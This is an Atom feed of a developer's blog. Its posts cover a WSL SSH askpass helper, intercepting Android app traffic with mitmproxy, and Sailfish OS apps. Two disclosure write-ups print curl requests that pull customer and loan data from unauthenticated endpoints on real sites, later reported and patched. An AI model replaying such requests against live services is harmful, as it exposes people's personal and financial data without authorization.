<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="https://scarpino.dev/">
  <id>https://scarpino.dev/</id>
  <title>Andrea Scarpino's blog</title>
  <updated>2026-01-14T00:00:00Z</updated>
  <link rel="alternate" href="https://scarpino.dev/" type="text/html"/>
  <link rel="self" href="https://scarpino.dev/feed.xml" type="application/atom+xml"/>
  <author>
    <name>Andrea Scarpino</name>
    <uri>https://scarpino.dev</uri>
  </author>
  <entry>
    <id>tag:scarpino.dev,2026-01-14:/posts/winaskpass-wsl-ssh-add-helper-using-wincred.html</id>
    <title type="html">winaskpass: WSL ssh-add helper using WinCred</title>
    <published>2026-01-14T00:00:00Z</published>
    <updated>2026-01-14T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/winaskpass-wsl-ssh-add-helper-using-wincred.html" type="text/html"/>
    <content type="html">&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; ssh-add helper for WSL that stores passphrases in Windows Credential Manager. Get it via &lt;code&gt;cargo install winaskpass&lt;/code&gt; and set &lt;code&gt;SSH_ASKPASS=winaskpass&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I’ve been a Linux user for over a decade, or rather twenty years. Even at work, I’ve used Linux for everything, until now: $corporate made a decision that turned my development world upside down. We’re moving to Windows.&lt;/p&gt;

&lt;p&gt;I refused to let it win (pun intended). If I had to use Windows, I’d make it feel as much like Linux as possible. Windows is just the UI; my home is the Windows Subsystem for Linux.&lt;/p&gt;

&lt;p&gt;From the tools perspective the migration was easy: I had dotfiles and a provision script and the WSL distro was the same, so everything worked just fine. I only had to remove a few UI tool, but the ones I used daily were there. Even my dotfiles were 99% compatible.&lt;/p&gt;

&lt;p&gt;The first problem I faced was having to enter my SSH key password evey time I open a fresh WSL session. My setup uses the standard ssh-agent + askpass, but I was missing a keystore. The web searches suggested using gnome-keyring, named pipes or even removing the key’s password. None of these was suitable, and the reason was simple: there was already a keystore, just outside WSL: the Windows Credential Manager.&lt;/p&gt;

&lt;p&gt;I looked into how to interact with WinCred from WSL and the setup without needing to configure anything on Windows was to write a tool that generates a PowerShell script and then uses &lt;code&gt;powershell.exe&lt;/code&gt; to run it. Ugly at first glance, okay maybe even at second, but the setup is easy as running &lt;code&gt;cargo install winaskpass&lt;/code&gt; and setting &lt;code&gt;SSH_ASKPASS=winaskpass&lt;/code&gt;. I liked it.&lt;/p&gt;

&lt;p&gt;But after speding a few days in Windows I discovered WinGet. A few more &lt;code&gt;winget install&lt;/code&gt; commands later I found that binaries installed this way were already in my &lt;code&gt;$PATH&lt;/code&gt; (or &lt;code&gt;%PATH%&lt;/code&gt;, I’m still not sure which to use!). At this point it was clear that there’s another (cleaner?) way to ship winaskpass: a Windows native tool available via WinGet.&lt;/p&gt;

&lt;p&gt;So, to all the Linux refugees on WSL with SSH protected keys, if you want you can set up a SSH_ASKPASS agent with just two simple commands:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cargo install winaskpass&lt;/code&gt; and then set &lt;code&gt;SSH_ASKPASS=winaskpass&lt;/code&gt; environment variable or via &lt;code&gt;winget.exe install winaskpass&lt;/code&gt; and &lt;code&gt;SSH_ASKPASS=winaskpass.exe&lt;/code&gt; if you want to avoid the PowerShell call.&lt;/p&gt;

&lt;p&gt;Sources are available on &lt;a href="https://github.com/ilpianista/winaskpass"&gt;GitHub&lt;/a&gt; and also mirrored on &lt;a href="https://codeberg.org/ilpianista/winaskpass"&gt;Codeberg&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2022-09-15:/posts/sniffing-android-apps-network-traffic.html</id>
    <title type="html">Sniffing Android apps network traffic</title>
    <published>2022-09-15T00:00:00Z</published>
    <updated>2022-09-15T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/sniffing-android-apps-network-traffic.html" type="text/html"/>
    <content type="html">&lt;p&gt;Back in the day, it was really easy to sniff the network traffic made by apps
on Android. You could do it in a few minutes by adding mitmproxy’s
certificate and setting the HTTP proxy on your wifi network settings. That was it.
But things have changed (for good) and that’s no longer the case. However, I
still want to sniff the network traffic made by the Apps in Android.&lt;/p&gt;

&lt;p&gt;How? Well, I can’t use my smartphone anymore, but I can set up the Android
emulator, install the application via the Google Play Store and sniff
the network traffic it generates on my PC \o/&lt;/p&gt;

&lt;p&gt;Let’s get started. First, install the Android SDK and create an Android virtual
device using Android API 30 and x86 architecture (any API and any architecture
is fine). However, we need an image without Google Play Store preinstalled as
we need a writable &lt;code&gt;/system&lt;/code&gt; folder to inject mitmproxy’s certificate later.
That’s okay, because we’ll install the Play Store manually.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;echo no | ./Android/Sdk/cmdline-tools/latest/bin/avdmanager create avd -n Pixel_5_API_30 --abi google_apis/x86 --package 'system-images;android-30;google_apis;x86'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Start the virtual device with the additional &lt;code&gt;-writable-system&lt;/code&gt; flag which
allows us to make &lt;code&gt;/system&lt;/code&gt; writable. I also have to unset &lt;code&gt;QT_QPA_PLATFORM=&lt;/code&gt;
because I’m on wayland and the emulator doesn’t support it.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;QT_QPA_PLATFORM= ./Android/Sdk/emulator/emulator @Pixel_5_API_30 -writable-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now let’s download the &lt;a href="https://opengapps.org/"&gt;OpenGAPPs&lt;/a&gt; that match our API and architecture.
Select the &lt;code&gt;pico&lt;/code&gt; variant because we don’t need anything else, just the Play Store.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl -OL 'https://master.dl.sourceforge.net/project/opengapps/x86/20220503/open_gapps-x86-11.0-pico-20220503.zip'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We need to decompress it in order to get and push &lt;code&gt;Phonesky.apk&lt;/code&gt; to the virtual
device. We also need to whitelist its permissions (thank you to the &lt;a href="https://github.com/FriendlyNeighborhoodShane/MinMicroG"&gt;MinMicroG&lt;/a&gt;
guys).&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;unzip open_gapps-x86-11.0-pico-20220503.zip
lzip -d Core/vending-x86.tar.lz
tar xf vending-x86.tar
adb root
adb shell avbctl disable-verification # adb disable-verity makes the emulator crash
adb reboot
adb wait-for-device
adb root
adb remount
adb push vending-x86/nodpi/priv-app/Phonesky/Phonesky.apk /system/priv-app/
curl -O https://raw.githubusercontent.com/FriendlyNeighborhoodShane/MinMicroG/master/res/system/etc/permissions/com.android.vending.xml
adb push com.android.vending.xml /system/etc/permissions/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now, create a dedicated user to run mitmproxy as it’s written in the &lt;a href="https://docs.mitmproxy.org/stable/howto-transparent/#work-around-to-redirect-traffic-originating-from-the-machine-itself"&gt;documentation&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sudo useradd --create-home mitmproxyuser
sudo iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser --dport 443 -j REDIRECT --to-port 8080
sudo -u mitmproxyuser -H bash -c 'mitmproxy --mode transparent --showhost --set block_global=false'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Mandatory copy’n’paste from the mitmproxy documentation page:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Note, as soon as you add the iptables rules, you won’t be able to perform successful network calls until you start mitmproxy.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At this point we are almost there, we just need another step to add the
mitmproxy certificate as it’s written in the &lt;a href="https://docs.mitmproxy.org/stable/howto-install-system-trusted-ca-android/#3-insert-certificate-into-system-certificate-store"&gt;documentation page&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;hashed_name=`sudo openssl x509 -inform PEM -subject_hash_old -in ~mitmproxyuser/.mitmproxy/mitmproxy-ca-cert.cer | head -1`
sudo adb push ~mitmproxyuser/.mitmproxy/mitmproxy-ca-cert.cer /system/etc/security/cacerts/$hashed_name.0
adb shell chmod 664 /system/etc/security/cacerts/$hashed_name.0
adb reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You should now have the Play Store, login with your Google account and install
the App you need.&lt;/p&gt;

&lt;p&gt;That’s it! Happy sniffing!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2022-02-25:/posts/i-went-out-for-dinner-and-i-took-some-endpoint.html</id>
    <title type="html">I went out for dinner and I took some endpoint</title>
    <published>2022-02-25T00:00:00Z</published>
    <updated>2022-02-25T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/i-went-out-for-dinner-and-i-took-some-endpoint.html" type="text/html"/>
    <content type="html">&lt;p&gt;Three weeks ago I went out to a pub for dinner. Due to COVID-19 restrictions
there are no paper menus anymore and the waitress gave me a card to place my
order.&lt;/p&gt;

&lt;p&gt;The card she gave me had a QR code and a 5-digit number. I scanned the QR code
and opened the website it pointed to. To login I used that 5-digit number. I
placed my order. So far so good.&lt;/p&gt;

&lt;p&gt;When suddenly a hamburger button caught my attention. I pressed it, but mostly
I clicked on the first item in the menu because, judging by its text, it seemed
“worth” having a look at the order I had just placed:&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/order_hamburger_button.jpg"&gt;&lt;img src="/images/order_hamburger_button_thumb.jpg" alt="Hamburger button" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/order_history.jpg"&gt;&lt;img src="/images/order_history_thumb.jpg" alt="Order history" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Uh?! 4751€?! Definitely not me! To my surprise that page listed many
orders, not just mine, and they were also old. Now things were getting interesting.&lt;/p&gt;

&lt;p&gt;Once I was back home, I wanted to understand it more. I opened the website
again, but I failed to login because my 5-digit number had expired, so I tried
incrementing it a few times and it worked :-)&lt;/p&gt;

&lt;p&gt;I took a look at the JavaScript files to find the one that makes the request to
retrieve the orders:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$.ajax({
  type: "POST",
  url: '/include/ajax.php?f=getlist&amp;amp;t=orders',
  data: {
    src:[
      {
        name:"self_cart_id",
        value:app.table_id,
        compare:"equal"
      }
    ],
    orderby: "id DESC"
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let’s do the same request, changing the &lt;code&gt;value&lt;/code&gt; (&lt;code&gt;app.table_id&lt;/code&gt;) parameter and
see what would happen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl 'https://$HOST/include/ajax.php?f=getlist&amp;amp;t=orders' -X POST --data-raw "src%5B0%5D%5Bname%5D=self_cart_id&amp;amp;src%5B0%5D%5Bvalue%5D=1&amp;amp;src%5B0%5D%5Bcompare%5D=equal&amp;amp;orderby=id+DESC"
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I got fewer orders. Then I increased the &lt;code&gt;table_id&lt;/code&gt; and I got even fewer
orders. Mmm, I took a second look at the parameters and then I realized it was
a query statement! At this point I played a bit with the parameters until I
removed the &lt;code&gt;value&lt;/code&gt; parameter completely. Well, now I got 347752 orders and
they are even paginated:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;"success": 1,
"pag": "1",
"per_pag": 500,
"total_records": 347752,
"total_pages": 696,
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Fortunately, there was no sensitive information. I got all the orders made in
the last ~2 years from all the pubs scattered around italy (the pub is part of
a franchising). There were some Deliveroo/UberEats/Glovo id, but nothing
sensitive. Not yet.&lt;/p&gt;

&lt;p&gt;Back to the JavaScript file, there were a few interesting calls:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    url: '/include/ajax.php?f=get&amp;amp;t=customers&amp;amp;id='+app.customer_id,
    url: '/include/ajax.php?f=edit_customer&amp;amp;t=self_cart&amp;amp;id='+app.table_id,
    url: '/include/ajax.php?f=getlist&amp;amp;t=categories',
    url: '/include/ajax.php?f=getlist&amp;amp;t=products',
    url: '/include/ajax.php?f=get&amp;amp;t=products&amp;amp;id='+$(this).attr("data-id"),
    url: '/include/ajax.php?f=edit_product&amp;amp;t=self_cart&amp;amp;id='+app.table_id,
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I tried with the most tempting, &lt;code&gt;customers&lt;/code&gt;, and here we go:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;curl 'https://$HOST/include/ajax.php?f=getlist&amp;amp;t=customers'

"success": 1,
"pag": 1,
"per_pag": 500,
"total_records": 11928,
"total_pages": 24,
"rows": [
    {
        "surname": "&amp;lt;REDACTED&amp;gt;",
        "name": "&amp;lt;REDACTED&amp;gt;",
        "email": "&amp;lt;REDACTED&amp;gt;",
        "mobile": "&amp;lt;REDACTED&amp;gt;",
        "addresses": [
            {
                "name": "&amp;lt;REDACTED&amp;gt;",
                "surname": "",
                "address": "&amp;lt;REDACTED&amp;gt;",
                "zipcode": "&amp;lt;REDACTED&amp;gt;",
                "city": "&amp;lt;REDACTED&amp;gt;",
                "province": "&amp;lt;REDACTED&amp;gt;",
                "coord": "44.6&amp;lt;REDACTED&amp;gt;, 10.6&amp;lt;REDACTED&amp;gt;",
                "doorphone": "&amp;lt;REDACTED&amp;gt;",
            }
        ]
        "barcode": "https:\/\/api.$ANOTHER_HOST\/include\/barcode.php?f=png&amp;amp;s=code-128&amp;amp;d=1",
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That single request returned 500 out of 11928 results that include full names,
phone numbers and addresses of real persons who placed their orders through one
of those food delivery apps.&lt;/p&gt;

&lt;p&gt;Back to the JavaScript file, the &lt;code&gt;edit_product&lt;/code&gt; call is also very tempting
(what if I change the price of a product, place my order, and then restore the
original price?), but I had already eaten dinner and didn’t try it.&lt;/p&gt;

&lt;p&gt;Finally, the &lt;code&gt;$ANOTHER_HOST&lt;/code&gt; domain got my attention because it points to a
different domain. I googled it and realized that this pub was using an
e-commerce made by a company that claims on their website that they serve 570
restaurants in Italy. Which makes that 11928 &lt;strong&gt;way larger&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To confirm my suspicion, I first googled the footer text in the e-commerce and
found approximately ~100 other websites using it that are affected by the same
issue. Then I found others using DNS enumeration targeting the $ANOTHER_HOST
domain.&lt;/p&gt;

&lt;p&gt;I warned the company about the unauthenticated endpoints and the possible data
leak affecting them and their customers. They politely replied that they don’t
provide bug bounties and the endpoints have been patched.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2021-06-11:/posts/im-back-in-the-boat.html</id>
    <title type="html">I'm back in the boat</title>
    <published>2021-06-11T00:00:00Z</published>
    <updated>2021-06-11T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/im-back-in-the-boat.html" type="text/html"/>
    <content type="html">&lt;p&gt;In mid-2014 I first heard about &lt;a href="https://jolla.com"&gt;Jolla&lt;/a&gt; and &lt;a href="https://sailfishos.org"&gt;Sailfish OS&lt;/a&gt; and immediately bought a Jolla 1; wrote apps; participated in the IGG campaign for Jolla Tablet; bought the TOHKBD2; applied for (and got) Jolla C.&lt;/p&gt;

&lt;p&gt;Sounds like the beginning of a good story doesn’t it?&lt;/p&gt;

&lt;p&gt;Well, by the beginning of 2017 I had sold everything (except the tablet, we all know &lt;a href="https://blog.jolla.com/jolla-tablet-project-update/"&gt;what happened&lt;/a&gt; to that one).&lt;/p&gt;

&lt;p&gt;So what happened?? I was a happy Sailfish user, but Jolla’s false promises disappointed me.&lt;/p&gt;

&lt;p&gt;Yet, despite all that, I still think about Sailfish OS to this day. I think it’s because, despite &lt;a href="https://reviewjolla.blogspot.com/p/sailfish-os-open-source-licencing-stage.html"&gt;some proprietary components&lt;/a&gt;, the ecosystem around Sailfish OS is ultimately open source. And that’s what interests me. It also got &lt;a href="https://blog.jolla.com/koli/"&gt;a fresh update&lt;/a&gt; which solves some of the problems that where there 5 years ago.&lt;/p&gt;

&lt;p&gt;Nowadays, &lt;strong&gt;thanks to the community&lt;/strong&gt;, Sailfish OS can be installed on &lt;a href="https://wiki.merproject.org/wiki/Adaptations/libhybris"&gt;many devices&lt;/a&gt;, even if with some less components, but I’m looking for that complete experience and so I asked on the &lt;a href="https://forum.sailfishos.org"&gt;forum&lt;/a&gt; if there was someone willing to sell his Xperia device with or without the license… and I got one for free. Better still, in exchange for some apps!&lt;/p&gt;

&lt;p&gt;To decide which applications to create, I therefore took a look at that ecosystem. I started with the apps I use daily on Android and looked for the Sailfish OS alternative (spoiler: I’m impressed, good job guys!).&lt;/p&gt;

&lt;p&gt;I am writing them all here because I am sure it will be useful to someone else:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;AntennaPod (podcast app) -&amp;gt; &lt;a href="https://gitlab.com/cy8aer/podqast"&gt;PodQast&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Ariane (gemini protocol browser)&lt;/li&gt;
  &lt;li&gt;AsteroidOS (AsteroidOS sync) -&amp;gt; &lt;a href="https://github.com/AsteroidOS/starfish"&gt;Starfish&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Connectbot (ssh client) -&amp;gt;  built-in (Terminal)&lt;/li&gt;
  &lt;li&gt;Conversation (xmpp client) -&amp;gt; built-in (Messaging)&lt;/li&gt;
  &lt;li&gt;Davx5 (caldav/cardav) -&amp;gt; built-in (Account)&lt;/li&gt;
  &lt;li&gt;DroidShows (TV series) -&amp;gt; &lt;a href="https://github.com/corecomic/seriesfinale"&gt;SeriesFinale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Element (Matrix client) -&amp;gt; &lt;a href="https://github.com/R1tschY/harbour-determinant"&gt;Determinant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Endoscope (camera stream)&lt;/li&gt;
  &lt;li&gt;Fedilab (Mastodon client) -&amp;gt; &lt;a href="https://github.com/dysk0/harbour-tooter"&gt;Tooter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;ForkHub (GitHub client) -&amp;gt; &lt;a href="https://github.com/black-sheep-dev/harbour-sailhub"&gt;SailHub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;FOSS Browser -&amp;gt; built-in (&lt;a href="https://github.com/sailfishos/sailfish-browser"&gt;Browser&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;FreeOTP -&amp;gt; &lt;a href="https://github.com/seiichiro0185/sailotp"&gt;SailOTP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Glider (hacker news reader) -&amp;gt; &lt;a href="https://gitlab.com/ilpianista/harbour-SailHN"&gt;SailHN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;K-9 Mail -&amp;gt; built-in (Mail)&lt;/li&gt;
  &lt;li&gt;KDE Connect (KDE sync) -&amp;gt; &lt;a href="https://github.com/R1tschY/harbour-sailfishconnect"&gt;SailfishConnect&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Keepassx (password manager) -&amp;gt; &lt;a href="https://github.com/jobe-m/ownkeepass"&gt;ownKeepass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Labcoat (GitLab client)&lt;/li&gt;
  &lt;li&gt;Lemmur (Lemmy client)&lt;/li&gt;
  &lt;li&gt;MasterPassword (password manager) -&amp;gt; &lt;a href="https://gitlab.com/ilpianista/harbour-MPW"&gt;MPW&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;MuPDF (PDF reader) -&amp;gt; built-in (Documents)&lt;/li&gt;
  &lt;li&gt;Newpipe (YouTube client) -&amp;gt; &lt;a href="https://github.com/direc85/harbour-ytplayer"&gt;YTPlayer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Nextcloud (Nextcloud files) -&amp;gt; &lt;a href="https://github.com/fredldotme/harbour-owncloud"&gt;GhostCloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Notes (Nextcloud notes) -&amp;gt; &lt;a href="https://github.com/scharel/harbour-nextcloudnotes"&gt;Nextcloud Notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;OCReader (Nextcloud RSS) -&amp;gt; &lt;a href="https://github.com/Huessenbergnetz/Fuoten"&gt;Fuoten&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;OsmAnd~ (Maps) -&amp;gt; &lt;a href="https://github.com/rinigus/pure-maps"&gt;PureMaps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Printing (built-in) -&amp;gt; &lt;a href="https://github.com/attah/harbour-seaprint"&gt;SeaPrint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;QuickDic (dictionary) -&amp;gt; &lt;a href="https://github.com/d0b3rm4n/harbour-sidudict"&gt;Sidudict&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;RedMoon (screen color temperature) -&amp;gt; &lt;a href="https://github.com/CODeRUS/harbour-tint-overlay"&gt;Tint Overlay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;RedReader (Reddit client) -&amp;gt; &lt;a href="https://github.com/accumulator/Quickddit"&gt;Quickddit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Signal -&amp;gt; &lt;a href="https://gitlab.com/whisperfish/whisperfish"&gt;Whisperfish&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Syncthing (files sync) -&amp;gt; there’s &lt;a href="https://github.com/fuchsmich/sailfish-syncthing-bin"&gt;the binary&lt;/a&gt;, no UI&lt;/li&gt;
  &lt;li&gt;Transdroid (Trasmission client) -&amp;gt; &lt;a href="https://github.com/equeim/tremotesf2"&gt;Tremotes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Vinyl (music player) -&amp;gt; built-in (Mediaplayer)&lt;/li&gt;
  &lt;li&gt;VLC (NFS streaming) -&amp;gt; &lt;a href="https://github.com/llelectronics/videoPlayer"&gt;videoPlayer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;WireGuard (VPN) -&amp;gt; there’s &lt;a href="https://github.com/antranigv/wireguard-sailfish"&gt;the binary&lt;/a&gt;, no UI&lt;/li&gt;
  &lt;li&gt;YetAnotherCallBlocker (call blocker) -&amp;gt; &lt;a href="https://github.com/omnight/phonehook"&gt;Phonehook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, to me it looks like almost everything is there, except:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a &lt;a href="https://gemini.circumlunar.space/"&gt;gemini&lt;/a&gt; protocol browser&lt;/li&gt;
  &lt;li&gt;a client for &lt;a href="https://gitlab.com"&gt;GitLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;a client for &lt;a href="https://dev.lemmy.ml"&gt;Lemmy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;a UI for &lt;a href="https://syncthing.net"&gt;Syncthing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;a UI for &lt;a href="https://www.wireguard.com/"&gt;Wireguard&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ve already started to write a UI for &lt;a href="https://gitlab.com/ilpianista/harbour-syncthing"&gt;Syncthing&lt;/a&gt;, then maybe I could write the browser for the gemini protocol or rather the GitLab client?&lt;/p&gt;

&lt;p&gt;Please consider a donation if you would like to support me (mention your favourite project!).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://liberapay.com/ilpianista/donate"&gt;&lt;img src="https://liberapay.com/assets/widgets/donate.svg" alt="Liberapay" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Many many thanks to Jörg who sent me his Sony Xperia 10 Plus! I hope I don’t disappoint him!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2021-05-24:/posts/sharing-your-loan-details-to-anyone.html</id>
    <title type="html">Sharing your loan details to anyone</title>
    <published>2021-05-24T00:00:00Z</published>
    <updated>2021-05-24T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/sharing-your-loan-details-to-anyone.html" type="text/html"/>
    <content type="html">&lt;p&gt;A week ago, I blogged about &lt;a href="/posts/sharing-your-amortisation-schedule-to-anyone.html"&gt;a vulnerability&lt;/a&gt; in a platform that would allow anyone to download users’ amortisation schedules. This was a critical issue, but it wasn’t really exploitable in the wild as it included a part where you had to guess the name of the document to download.&lt;/p&gt;

&lt;p&gt;I no longer trust that platform so I went to their website to remove my loan data from it, but apparently this isn’t possibile via the UI.&lt;/p&gt;

&lt;p&gt;I also opened a ticket on their support platform to request removal and they replied that it isn’t possible.&lt;/p&gt;

&lt;p&gt;So I went to their website with the intention of replacing the data with a fake one… but there was no longer an edit button!&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/loans.png"&gt;&lt;img src="/images/loans_thumb.png" alt="Loans" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I’m sure it was there before and in fact the code also confirms that it was there:&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/loans_code.png"&gt;&lt;img src="/images/loans_code_thumb.png" alt="Loans code" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, the platform is based on Magento and so, starting from the current URL, we can easily guess the edit URL, e.g. &lt;code&gt;https://&amp;lt;host&amp;gt;/anagraficamutui/mutuo/edit/id/&amp;lt;n&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s try 1… bingo!&lt;/p&gt;

&lt;p&gt;But wait a minute… this isn’t my loan! Luckily it’s just a demo entry put in by some developer:&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/someone_else_loan.png"&gt;&lt;img src="/images/someone_else_loan_thumb.png" alt="Someone else loan" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even though it’s a dummy page, we can already see the details of the loan such as the (hopefully) fake IBAN, or the loan total and loan number and even the bank contact person name and email address.&lt;/p&gt;

&lt;p&gt;And now take a look at this: if I try to access that page in private mode, then I get the login page. All (almost) well, right?&lt;/p&gt;

&lt;p&gt;Nope. Let’s try the same request via &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ curl -s https://&amp;lt;host&amp;gt;/anagraficamutui/edit/id/1 | grep banca

&amp;lt;input type="text" name="istituto_credito" id="istituto_credito" value="banca acme" title="Nome istituto" class="input-text istituto_credito required-entry" /&amp;gt;

$ curl -s https://&amp;lt;host&amp;gt;/anagraficamutui/edit/id/1 | grep NL75

&amp;lt;input type="text" name="iban" id="iban" value="NL75xxxxxxxxx" title="Iban" class="input-text iban required-entry validate-iban validate-length maximum-length-27 validate-alphanum" /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Wait a minute, what’s going on?&lt;/p&gt;

&lt;p&gt;Well, it turns out that the page sets the &lt;code&gt;location&lt;/code&gt; header to redirect you to the login page when there’s no cookie, otherwise it prints the HTML page!&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ curl -s https://&amp;lt;host&amp;gt;/anagraficamutui/edit/id/1 -I | grep location

location: https://&amp;lt;host&amp;gt;/customer/account/login/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Oh-no!&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Data from 5723 loans could have been exposed by accessing a specific URL. Details such as IBAN, loan number, loan total and the bank account contact person could have been used to perform spear phishing attacks.&lt;/p&gt;

&lt;p&gt;I reported this privacy flaw to the &lt;a href="https://csirt.gov.it/"&gt;CSIRT Italia&lt;/a&gt; and the platform’s DPO. The issue has been solved after 2 days, but I still haven’t heard from them.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>tag:scarpino.dev,2021-05-19:/posts/sharing-your-amortisation-schedule-to-anyone.html</id>
    <title type="html">Sharing your amortisation schedule to anyone</title>
    <published>2021-05-19T00:00:00Z</published>
    <updated>2021-05-19T00:00:00Z</updated>
    <link rel="alternate" href="https://scarpino.dev/posts/sharing-your-amortisation-schedule-to-anyone.html" type="text/html"/>
    <content type="html">&lt;p&gt;Last month, my company allowed me to claim some benefits through a dedicated platform. This platform is specifically built for this purpose and allows you to recover these benefits not only in the form of coupons or discount codes, but also as reimbursements for medical visits or interest on mortgage payments.&lt;/p&gt;

&lt;p&gt;I wanted to try the latter.&lt;/p&gt;

&lt;p&gt;I logged on to the platform and then I filled in all the (many) details about the loan that the plaform asks you to fill in, until I had to upload my amortisation schedule which contains &lt;strong&gt;a lot&lt;/strong&gt; of sensitive data. In fact, a strange thing happened at this step: my file was named &lt;code&gt;document.pdf&lt;/code&gt;, but after uploading it was renamed to &lt;code&gt;document_2.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;How do I know? Well, let’s have a look to the UI:&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/loan_details.png"&gt;&lt;img src="/images/loan_details_thumb.png" alt="Loan details" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/images/loan_details_hover.png"&gt;&lt;img src="/images/loan_details_hover_thumb.png" alt="Loan details hover" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It clearly shows the file name and that’s also a hyperlink. Let’s click then.&lt;/p&gt;

&lt;p&gt;The PDF opens in my browser. This is expected, but what happens if we take the URL and try to open it in a private window?? Guess what?&lt;/p&gt;

&lt;p&gt;You guessed it.&lt;/p&gt;

&lt;p&gt;Let’s have a look to the URL again. It’s in the form: &lt;code&gt;https://&amp;lt;host&amp;gt;/media/mutuo/file/d/o/document_2.pdf&lt;/code&gt;.&lt;/p&gt;

